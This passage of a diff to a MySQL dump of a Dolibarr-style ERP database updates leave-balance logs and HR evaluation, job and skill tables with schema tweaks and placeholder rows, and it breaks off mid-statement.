mensuelle','14.58','16.66',1),(29,'2015-02-01 09:53:34',1,3,'Event : Mise à jour mensuelle','14.58','16.66',1),(30,'2015-02-01 09:53:34',1,4,'Event : Mise à jour mensuelle','10.42','12.50',1),(31,'2015-02-01 09:53:36',1,1,'Event : Mise à jour mensuelle','16.67','18.75',1),(32,'2015-02-01 09:53:36',1,2,'Event : Mise à jour mensuelle','16.67','18.75',1),(33,'2015-02-01 09:53:36',1,3,'Event : Mise à jour mensuelle','16.67','18.75',1),(34,'2015-02-01 09:53:36',1,4,'Event : Mise à jour mensuelle','12.50','14.58',1),(35,'2015-02-01 09:53:36',1,1,'Event : Mise à jour mensuelle','18.75','20.83',1),(36,'2015-02-01 09:53:36',1,2,'Event : Mise à jour mensuelle','18.75','20.83',1),(37,'2015-02-01 09:53:36',1,3,'Event : Mise à jour mensuelle','18.75','20.83',1),(38,'2015-02-01 09:53:36',1,4,'Event : Mise à jour mensuelle','14.58','16.66',1),(39,'2015-02-01 09:53:37',1,1,'Event : Mise à jour mensuelle','20.83','22.91',1),(40,'2015-02-01 09:53:37',1,2,'Event : Mise à jour mensuelle','20.83','22.91',1),(41,'2015-02-01 09:53:37',1,3,'Event : Mise à jour mensuelle','20.83','22.91',1),(42,'2015-02-01 09:53:37',1,4,'Event : Mise à jour mensuelle','16.67','18.75',1),(43,'2015-02-01 09:53:37',1,1,'Event : Mise à jour mensuelle','22.92','25.00',1),(44,'2015-02-01 09:53:37',1,2,'Event : Mise à jour mensuelle','22.92','25.00',1),(45,'2015-02-01 09:53:37',1,3,'Event : Mise à jour mensuelle','22.92','25.00',1),(46,'2015-02-01 09:53:37',1,4,'Event : Mise à jour mensuelle','18.75','20.83',1),(47,'2015-02-01 09:53:44',1,1,'Event : Mise à jour mensuelle','25.00','27.08',1),(48,'2015-02-01 09:53:44',1,2,'Event : Mise à jour mensuelle','25.00','27.08',1),(49,'2015-02-01 09:53:44',1,3,'Event : Mise à jour mensuelle','25.00','27.08',1),(50,'2015-02-01 09:53:44',1,4,'Event : Mise à jour mensuelle','20.83','22.91',1),(51,'2015-02-01 09:53:47',1,1,'Event : Mise à jour mensuelle','27.08','29.16',1),(52,'2015-02-01 09:53:47',1,2,'Event : Mise à jour mensuelle','27.08','29.16',1),(53,'2015-02-01 09:53:47',1,3,'Event : Mise à jour mensuelle','27.08','29.16',1),(54,'2015-02-01 09:53:47',1,4,'Event : Mise à jour mensuelle','22.92','25.00',1),(55,'2015-02-01 09:53:47',1,1,'Event : Mise à jour mensuelle','29.17','31.25',1),(56,'2015-02-01 09:53:47',1,2,'Event : Mise à jour mensuelle','29.17','31.25',1),(57,'2015-02-01 09:53:47',1,3,'Event : Mise à jour mensuelle','29.17','31.25',1),(58,'2015-02-01 09:53:47',1,4,'Event : Mise à jour mensuelle','25.00','27.08',1),(59,'2015-02-01 09:53:49',1,1,'Event : Mise à jour mensuelle','31.25','33.33',1),(60,'2015-02-01 09:53:49',1,2,'Event : Mise à jour mensuelle','31.25','33.33',1),(61,'2015-02-01 09:53:49',1,3,'Event : Mise à jour mensuelle','31.25','33.33',1),(62,'2015-02-01 09:53:49',1,4,'Event : Mise à jour mensuelle','27.08','29.16',1),(63,'2015-02-01 09:53:52',1,1,'Event : Mise à jour mensuelle','33.33','35.41',1),(64,'2015-02-01 09:53:52',1,2,'Event : Mise à jour mensuelle','33.33','35.41',1),(65,'2015-02-01 09:53:52',1,3,'Event : Mise à jour mensuelle','33.33','35.41',1),(66,'2015-02-01 09:53:52',1,4,'Event : Mise à jour mensuelle','29.17','31.25',1),(67,'2015-02-01 09:53:52',1,1,'Event : Mise à jour mensuelle','35.42','37.50',1),(68,'2015-02-01 09:53:52',1,2,'Event : Mise à jour mensuelle','35.42','37.50',1),(69,'2015-02-01 09:53:52',1,3,'Event : Mise à jour mensuelle','35.42','37.50',1),(70,'2015-02-01 09:53:52',1,4,'Event : Mise à jour mensuelle','31.25','33.33',1),(71,'2015-02-01 09:53:53',1,1,'Event : Mise à jour mensuelle','37.50','39.58',1),(72,'2015-02-01 09:53:53',1,2,'Event : Mise à jour mensuelle','37.50','39.58',1),(73,'2015-02-01 09:53:53',1,3,'Event : Mise à jour mensuelle','37.50','39.58',1),(74,'2015-02-01 09:53:53',1,4,'Event : Mise à jour mensuelle','33.33','35.41',1),(75,'2015-02-01 09:53:54',1,1,'Event : Mise à jour mensuelle','39.58','41.66',1),(76,'2015-02-01 09:53:54',1,2,'Event : Mise à jour mensuelle','39.58','41.66',1),(77,'2015-02-01 09:53:54',1,3,'Event : Mise à jour mensuelle','39.58','41.66',1),(78,'2015-02-01 09:53:54',1,4,'Event : Mise à jour mensuelle','35.42','37.50',1),(79,'2015-02-01 09:53:54',1,1,'Event : Mise à jour mensuelle','41.67','43.75',1),(80,'2015-02-01 09:53:54',1,2,'Event : Mise à jour mensuelle','41.67','43.75',1),(81,'2015-02-01 09:53:54',1,3,'Event : Mise à jour mensuelle','41.67','43.75',1),(82,'2015-02-01 09:53:54',1,4,'Event : Mise à jour mensuelle','37.50','39.58',1),(83,'2015-02-01 09:55:49',1,1,'Event : Mise à jour mensuelle','43.75','45.83',1),(84,'2015-02-01 09:55:49',1,2,'Event : Mise à jour mensuelle','43.75','45.83',1),(85,'2015-02-01 09:55:49',1,3,'Event : Mise à jour mensuelle','43.75','45.83',1),(86,'2015-02-01 09:55:49',1,4,'Event : Mise à jour mensuelle','39.58','41.66',1),(87,'2015-02-01 09:55:56',1,1,'Event : Mise à jour mensuelle','45.83','47.91',1),(88,'2015-02-01 09:55:56',1,2,'Event : Mise à jour mensuelle','45.83','47.91',1),(89,'2015-02-01 09:55:56',1,3,'Event : Mise à jour mensuelle','45.83','47.91',1),(90,'2015-02-01 09:55:56',1,4,'Event : Mise à jour mensuelle','41.67','43.75',1),(91,'2015-02-01 09:56:01',1,1,'Event : Mise à jour mensuelle','47.92','50.00',1),(92,'2015-02-01 09:56:01',1,2,'Event : Mise à jour mensuelle','47.92','50.00',1),(93,'2015-02-01 09:56:01',1,3,'Event : Mise à jour mensuelle','47.92','50.00',1),(94,'2015-02-01 09:56:01',1,4,'Event : Mise à jour mensuelle','43.75','45.83',1),(95,'2015-02-01 09:56:01',1,1,'Event : Mise à jour mensuelle','50.00','52.08',1),(96,'2015-02-01 09:56:01',1,2,'Event : Mise à jour mensuelle','50.00','52.08',1),(97,'2015-02-01 09:56:01',1,3,'Event : Mise à jour mensuelle','50.00','52.08',1),(98,'2015-02-01 09:56:01',1,4,'Event : Mise à jour mensuelle','45.83','47.91',1),(99,'2015-02-01 09:56:03',1,1,'Event : Mise à jour mensuelle','52.08','54.16',1),(100,'2015-02-01 09:56:03',1,2,'Event : Mise à jour mensuelle','52.08','54.16',1),(101,'2015-02-01 09:56:03',1,3,'Event : Mise à jour mensuelle','52.08','54.16',1),(102,'2015-02-01 09:56:03',1,4,'Event : Mise à jour mensuelle','47.92','50.00',1),(103,'2015-02-01 09:56:03',1,1,'Event : Mise à jour mensuelle','54.17','56.25',1),(104,'2015-02-01 09:56:03',1,2,'Event : Mise à jour mensuelle','54.17','56.25',1),(105,'2015-02-01 09:56:03',1,3,'Event : Mise à jour mensuelle','54.17','56.25',1),(106,'2015-02-01 09:56:03',1,4,'Event : Mise à jour mensuelle','50.00','52.08',1),(107,'2015-02-01 09:56:05',1,1,'Event : Mise à jour mensuelle','56.25','58.33',1),(108,'2015-02-01 09:56:05',1,2,'Event : Mise à jour mensuelle','56.25','58.33',1),(109,'2015-02-01 09:56:05',1,3,'Event : Mise à jour mensuelle','56.25','58.33',1),(110,'2015-02-01 09:56:05',1,4,'Event : Mise à jour mensuelle','52.08','54.16',1),(111,'2015-02-01 09:56:06',1,1,'Event : Mise à jour mensuelle','58.33','60.41',1),(112,'2015-02-01 09:56:06',1,2,'Event : Mise à jour mensuelle','58.33','60.41',1),(113,'2015-02-01 09:56:06',1,3,'Event : Mise à jour mensuelle','58.33','60.41',1),(114,'2015-02-01 09:56:06',1,4,'Event : Mise à jour mensuelle','54.17','56.25',1),(115,'2015-02-01 09:56:06',1,1,'Event : Mise à jour mensuelle','60.42','62.50',1),(116,'2015-02-01 09:56:06',1,2,'Event : Mise à jour mensuelle','60.42','62.50',1),(117,'2015-02-01 09:56:06',1,3,'Event : Mise à jour mensuelle','60.42','62.50',1),(118,'2015-02-01 09:56:06',1,4,'Event : Mise à jour mensuelle','56.25','58.33',1),(119,'2015-02-01 09:56:07',1,1,'Event : Mise à jour mensuelle','62.50','64.58',1),(120,'2015-02-01 09:56:07',1,2,'Event : Mise à jour mensuelle','62.50','64.58',1),(121,'2015-02-01 09:56:07',1,3,'Event : Mise à jour mensuelle','62.50','64.58',1),(122,'2015-02-01 09:56:07',1,4,'Event : Mise à jour mensuelle','58.33','60.41',1),(123,'2015-02-01 09:56:07',1,1,'Event : Mise à jour mensuelle','64.58','66.66',1),(124,'2015-02-01 09:56:07',1,2,'Event : Mise à jour mensuelle','64.58','66.66',1),(125,'2015-02-01 09:56:07',1,3,'Event : Mise à jour mensuelle','64.58','66.66',1),(126,'2015-02-01 09:56:07',1,4,'Event : Mise à jour mensuelle','60.42','62.50',1),(127,'2015-02-01 09:56:50',1,1,'Event : Mise à jour mensuelle','66.67','68.75',1),(128,'2015-02-01 09:56:50',1,2,'Event : Mise à jour mensuelle','66.67','68.75',1),(129,'2015-02-01 09:56:50',1,3,'Event : Mise à jour mensuelle','66.67','68.75',1),(130,'2015-02-01 09:56:50',1,4,'Event : Mise à jour mensuelle','62.50','64.58',1),(131,'2015-02-01 09:56:50',1,1,'Event : Mise à jour mensuelle','68.75','70.83',1),(132,'2015-02-01 09:56:50',1,2,'Event : Mise à jour mensuelle','68.75','70.83',1),(133,'2015-02-01 09:56:50',1,3,'Event : Mise à jour mensuelle','68.75','70.83',1),(134,'2015-02-01 09:56:50',1,4,'Event : Mise à jour mensuelle','64.58','66.66',1),(135,'2015-02-17 18:49:21',1,1,'Event : Mise à jour mensuelle','70.83','72.91',1),(136,'2015-02-17 18:49:21',1,2,'Event : Mise à jour mensuelle','70.83','72.91',1),(137,'2015-02-17 18:49:21',1,3,'Event : Mise à jour mensuelle','70.83','72.91',1),(138,'2015-02-17 18:49:21',1,4,'Event : Mise à jour mensuelle','66.67','68.75',1),(139,'2015-02-17 19:06:57',1,1,'Event : Holiday','72.92','71.92',1),(140,'2015-03-01 23:12:31',1,1,'Event : Mise à jour mensuelle','71.92','74.00',1),(141,'2015-03-01 23:12:31',1,2,'Event : Mise à jour mensuelle','72.92','75.00',1),(142,'2015-03-01 23:12:31',1,3,'Event : Mise à jour mensuelle','72.92','75.00',1),(143,'2015-03-01 23:12:31',1,4,'Event : Mise à jour mensuelle','68.75','70.83',1),(145,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',4),(146,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',4),(147,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',4),(148,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',4),(151,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',5),(152,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',5),(153,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',5),(154,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',5),(157,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',9),(158,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',9),(159,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',9),(160,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',9),(163,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',4),(164,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',4),(165,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',4),(166,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',4),(168,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',5),(169,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',5),(170,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',5),(171,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',5),(173,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',9),(174,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',9),(175,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',9),(176,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',9),(178,'2018-01-22 18:59:38',12,18,'Manual update','0','10',5),(179,'2018-01-22 18:59:42',12,16,'Manual update','0','10',5),(180,'2018-01-22 18:59:45',12,12,'Manual update','0','10',5),(181,'2018-01-22 18:59:49',12,1,'Manual update','0','10',5),(182,'2018-01-22 18:59:52',12,2,'Manual update','0','10',5),(183,'2018-01-22 18:59:55',12,3,'Manual update','0','5',5),(184,'2018-07-30 19:45:49',12,1,'Manual update','0','25',3),(185,'2018-07-30 19:45:52',12,2,'Manual update','0','23',3),(186,'2018-07-30 19:45:54',12,3,'Manual update','0','10',3),(187,'2018-07-30 19:45:57',12,4,'Manual update','0','-4',3),(188,'2018-07-30 19:46:02',12,10,'Manual update','0','20',3),(189,'2018-07-30 19:46:04',12,11,'Manual update','0','30',3),(190,'2018-07-30 19:46:07',12,12,'Manual update','0','15',3),(191,'2018-07-30 19:46:09',12,13,'Manual update','0','11',3),(192,'2018-07-30 19:46:12',12,14,'Manual update','0','4',3),(193,'2018-07-30 19:46:14',12,16,'Manual update','0','5',3),(194,'2018-07-30 19:46:16',12,18,'Manual update','0','22',3),(195,'2023-01-31 07:09:16',12,12,'Leaves - HL2301-0002','15','14',3); /*!40000 ALTER TABLE `llx_holiday_logs` ENABLE KEYS */; UNLOCK TABLES; @@ -7948,7 +7229,7 @@ CREATE TABLE `llx_holiday_users` ( LOCK TABLES `llx_holiday_users` WRITE; /*!40000 ALTER TABLE `llx_holiday_users` DISABLE KEYS */; -INSERT INTO `llx_holiday_users` VALUES (0,0,1),(1,74.00334000000001,1),(1,25,3),(1,10,5),(2,75.00024000000003,1),(2,23,3),(2,10,5),(3,75.00024000000003,1),(3,10,3),(3,5,5),(4,70.83356000000002,1),(4,-4,3),(5,2.08334,1),(6,0,1),(10,20,3),(11,30,3),(12,15,3),(12,10,5),(13,11,3),(14,4,3),(16,5,3),(16,10,5),(18,22,3),(18,10,5); +INSERT INTO `llx_holiday_users` VALUES (0,0,1),(1,74.00334000000001,1),(1,25,3),(1,10,5),(2,75.00024000000003,1),(2,23,3),(2,10,5),(3,75.00024000000003,1),(3,10,3),(3,5,5),(4,70.83356000000002,1),(4,-4,3),(5,2.08334,1),(6,0,1),(10,20,3),(11,30,3),(12,14,3),(12,10,5),(13,11,3),(14,4,3),(16,5,3),(16,10,5),(18,22,3),(18,10,5); /*!40000 ALTER TABLE `llx_holiday_users` ENABLE KEYS */; UNLOCK TABLES; @@ -7961,16 +7242,16 @@ DROP TABLE IF EXISTS `llx_hrm_evaluation`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_hrm_evaluation` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '(PROV)', - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) NOT NULL DEFAULT '(PROV)', + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` smallint(6) NOT NULL, `date_eval` date DEFAULT NULL, `fk_user` int(11) NOT NULL, @@ -7981,7 +7262,7 @@ CREATE TABLE `llx_hrm_evaluation` ( KEY `llx_hrm_evaluation_fk_user_creat` (`fk_user_creat`), KEY `idx_hrm_evaluation_status` (`status`), CONSTRAINT `llx_hrm_evaluation_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -7990,6 +7271,7 @@ CREATE TABLE `llx_hrm_evaluation` ( LOCK TABLES `llx_hrm_evaluation` WRITE; /*!40000 ALTER TABLE `llx_hrm_evaluation` DISABLE KEYS */; +INSERT INTO `llx_hrm_evaluation` VALUES (1,'EVAL2302-0001','bbb','eval ',NULL,NULL,'2023-02-11 08:42:19','2023-02-11 11:42:59',12,NULL,NULL,1,'2023-02-11',12,1); /*!40000 ALTER TABLE `llx_hrm_evaluation` ENABLE KEYS */; UNLOCK TABLES; @@ -8004,7 +7286,7 @@ CREATE TABLE `llx_hrm_evaluation_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_evaluation_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8036,14 +7318,15 @@ CREATE TABLE `llx_hrm_evaluationdet` ( `fk_evaluation` int(11) NOT NULL, `rankorder` int(11) NOT NULL, `required_rank` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_hrm_evaluationdet_rowid` (`rowid`), KEY `llx_hrm_evaluationdet_fk_user_creat` (`fk_user_creat`), KEY `idx_hrm_evaluationdet_fk_skill` (`fk_skill`), KEY `idx_hrm_evaluationdet_fk_evaluation` (`fk_evaluation`), + CONSTRAINT `llx_hrm_evaluationdet_fk_evaluation` FOREIGN KEY (`fk_evaluation`) REFERENCES `llx_hrm_evaluation` (`rowid`), CONSTRAINT `llx_hrm_evaluationdet_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8052,6 +7335,7 @@ CREATE TABLE `llx_hrm_evaluationdet` ( LOCK TABLES `llx_hrm_evaluationdet` WRITE; /*!40000 ALTER TABLE `llx_hrm_evaluationdet` DISABLE KEYS */; +INSERT INTO `llx_hrm_evaluationdet` VALUES (1,'2023-02-11 08:42:19','2023-02-11 11:42:19',12,12,1,1,2,0,NULL); /*!40000 ALTER TABLE `llx_hrm_evaluationdet` ENABLE KEYS */; UNLOCK TABLES; @@ -8066,7 +7350,7 @@ CREATE TABLE `llx_hrm_evaluationdet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_evaluationdet_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8090,19 +7374,19 @@ DROP TABLE IF EXISTS `llx_hrm_job`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_hrm_job` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `deplacement` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `deplacement` varchar(255) DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_hrm_job_rowid` (`rowid`), KEY `idx_hrm_job_label` (`label`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8111,6 +7395,7 @@ CREATE TABLE `llx_hrm_job` ( LOCK TABLES `llx_hrm_job` WRITE; /*!40000 ALTER TABLE `llx_hrm_job` DISABLE KEYS */; +INSERT INTO `llx_hrm_job` VALUES (1,'aaa','aaa','2023-01-05 09:31:33','2023-01-05 12:31:33','0',NULL,NULL,12,NULL); /*!40000 ALTER TABLE `llx_hrm_job` ENABLE KEYS */; UNLOCK TABLES; @@ -8125,7 +7410,7 @@ CREATE TABLE `llx_hrm_job_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_job_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8149,7 +7434,7 @@ DROP TABLE IF EXISTS `llx_hrm_job_user`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_hrm_job_user` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_contrat` int(11) DEFAULT NULL, @@ -8157,14 +7442,14 @@ CREATE TABLE `llx_hrm_job_user` ( `fk_job` int(11) NOT NULL, `date_start` date DEFAULT NULL, `date_end` date DEFAULT NULL, - `abort_comment` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `abort_comment` varchar(255) DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_hrm_job_user_rowid` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8173,6 +7458,7 @@ CREATE TABLE `llx_hrm_job_user` ( LOCK TABLES `llx_hrm_job_user` WRITE; /*!40000 ALTER TABLE `llx_hrm_job_user` DISABLE KEYS */; +INSERT INTO `llx_hrm_job_user` VALUES (1,'','2023-01-05 09:51:12','2023-01-05 12:51:12',NULL,12,1,'2023-01-05','2023-01-05',NULL,NULL,NULL,12,NULL); /*!40000 ALTER TABLE `llx_hrm_job_user` ENABLE KEYS */; UNLOCK TABLES; @@ -8185,8 +7471,8 @@ DROP TABLE IF EXISTS `llx_hrm_skill`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_hrm_skill` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, @@ -8195,14 +7481,14 @@ CREATE TABLE `llx_hrm_skill` ( `date_validite` int(11) NOT NULL, `temps_theorique` double(24,8) NOT NULL, `skill_type` int(11) NOT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_hrm_skill_rowid` (`rowid`), KEY `llx_hrm_skill_fk_user_creat` (`fk_user_creat`), KEY `idx_hrm_skill_skill_type` (`skill_type`), CONSTRAINT `llx_hrm_skill_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8211,6 +7497,7 @@ CREATE TABLE `llx_hrm_skill` ( LOCK TABLES `llx_hrm_skill` WRITE; /*!40000 ALTER TABLE `llx_hrm_skill` DISABLE KEYS */; +INSERT INTO `llx_hrm_skill` VALUES (1,'dd','','2023-01-05 09:34:31','2023-01-05 12:34:31',12,NULL,0,0,0.00000000,0,NULL,NULL); /*!40000 ALTER TABLE `llx_hrm_skill` ENABLE KEYS */; UNLOCK TABLES; @@ -8225,7 +7512,7 @@ CREATE TABLE `llx_hrm_skill_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_skill_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8249,7 +7536,7 @@ DROP TABLE IF EXISTS `llx_hrm_skilldet`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_hrm_skilldet` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_skill` int(11) NOT NULL, @@ -8257,8 +7544,10 @@ CREATE TABLE `llx_hrm_skilldet` ( PRIMARY KEY (`rowid`), KEY `idx_hrm_skilldet_rowid` (`rowid`), KEY `llx_hrm_skilldet_fk_user_creat` (`fk_user_creat`), + KEY `llx_hrm_skilldet_fk_skill` (`fk_skill`), + CONSTRAINT `llx_hrm_skilldet_fk_skill` FOREIGN KEY (`fk_skill`) REFERENCES `llx_hrm_skill` (`rowid`), CONSTRAINT `llx_hrm_skilldet_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8267,6 +7556,7 @@ CREATE TABLE `llx_hrm_skilldet` ( LOCK TABLES `llx_hrm_skilldet` WRITE; /*!40000 ALTER TABLE `llx_hrm_skilldet` DISABLE KEYS */; +INSERT INTO `llx_hrm_skilldet` VALUES (1,'No description 1',12,NULL,1,1),(2,'No description 2',12,NULL,1,2),(3,'No description 3',12,NULL,1,3); /*!40000 ALTER TABLE `llx_hrm_skilldet` ENABLE KEYS */; UNLOCK TABLES; @@ -8286,13 +7576,14 @@ CREATE TABLE `llx_hrm_skillrank` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `objecttype` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `objecttype` varchar(128) NOT NULL, PRIMARY KEY (`rowid`), KEY `idx_hrm_skillrank_rowid` (`rowid`), KEY `idx_hrm_skillrank_fk_skill` (`fk_skill`), KEY `llx_hrm_skillrank_fk_user_creat` (`fk_user_creat`), + CONSTRAINT `llx_hrm_skillrank_fk_skill` FOREIGN KEY (`fk_skill`) REFERENCES `llx_hrm_skill` (`rowid`), CONSTRAINT `llx_hrm_skillrank_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) 